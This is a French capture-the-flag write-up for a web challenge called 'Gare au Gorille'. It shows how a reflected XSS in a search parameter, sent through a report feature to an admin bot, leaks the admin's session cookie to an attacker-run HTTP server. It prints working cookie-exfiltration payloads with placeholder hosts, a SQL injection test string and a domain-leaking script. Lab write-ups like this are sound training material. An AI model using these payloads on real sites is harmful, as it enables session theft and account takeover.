Solution de Aimane-H pour Gare au Gorille

web golang bot

19 décembre 2024

Observation initiale

On voit qu’il y a une barre de recherche. On essaie quelques payloads basiques des vulnérabilités courantes.
J’ai testé une injection SQL (SQLi) avec :

' or 1=1 --

Avant d’essayer des payloads plus complexes, on teste d’autres vulnérabilités.
Ensuite, j’ai testé une injection XSS avec ce payload :

<script>alert(1)</script>

Ça fonctionne !


Analyse de la fonctionnalité “Ajouter un meme”

En explorant le site, on remarque que si on clique sur “Ajouter un meme”, on est redirigé vers l’endpoint /flag avec un message affiché :

Erreur : bad token !
Cette page n'est accessible que par l'administrateur.

On constate que cette page requiert un accès administrateur avec un token. En vérifiant les cookies dans notre navigateur, on voit un champ nommé token.
Nous tentons alors une exfiltration de données sensibles (Sensitive Data Exfiltration).


Exfiltration de données sensibles

On peut utiliser des payloads comme :

<SCRIPT>document.location='http://<<url>>/?'+document.cookie</SCRIPT>

Ce payload redirige l’utilisateur vers une URL malveillante en y ajoutant ses cookies.

Démarrage du serveur HTTP

On démarre un serveur HTTP sur le port 8001 avec la commande :

python3 -m http.server 8001

Test du payload

Après avoir utilisé le payload suivant sur /?search= :

<SCRIPT>document.location='http://<<monip>>:8001/?'+document.cookie</SCRIPT>

Le script retourne mes cookies, ce qui signifie que le code JavaScript a été exécuté en local dans mon navigateur.

Notre objectif est maintenant d’obtenir les cookies de l’administrateur.


Exploitation de la fonctionnalité “Report”

En continuant l’exploration du site, sur la page d’accueil, on peut signaler (report) chaque meme.
Si on clique sur le drapeau, on obtient une URL comme :

/report?url=/?search=meme_01.jpg

On teste alors l’endpoint /report pour vérifier s’il s’exécute en local ou chez l’administrateur, puisqu’il utilise le paramètre search, qui est vulnérable.
On utilise le même payload :

<SCRIPT>document.location='http://<<myserverip>>/?'+document.cookie</SCRIPT>

Résultat

On reçoit le token de l’administrateur. En remplaçant ce token dans le cookie token de notre navigateur, on obtient le flag sur /flag.


Vérification du scope de l’attaque XSS

On peut utiliser ce script pour savoir dans quel scope l’attaque XSS s’exécute réellement :

<script>window.location=`http://<<myserverip>>/${document.domain.concat("\n").concat(window.origin)}`</script>

Notes supplémentaires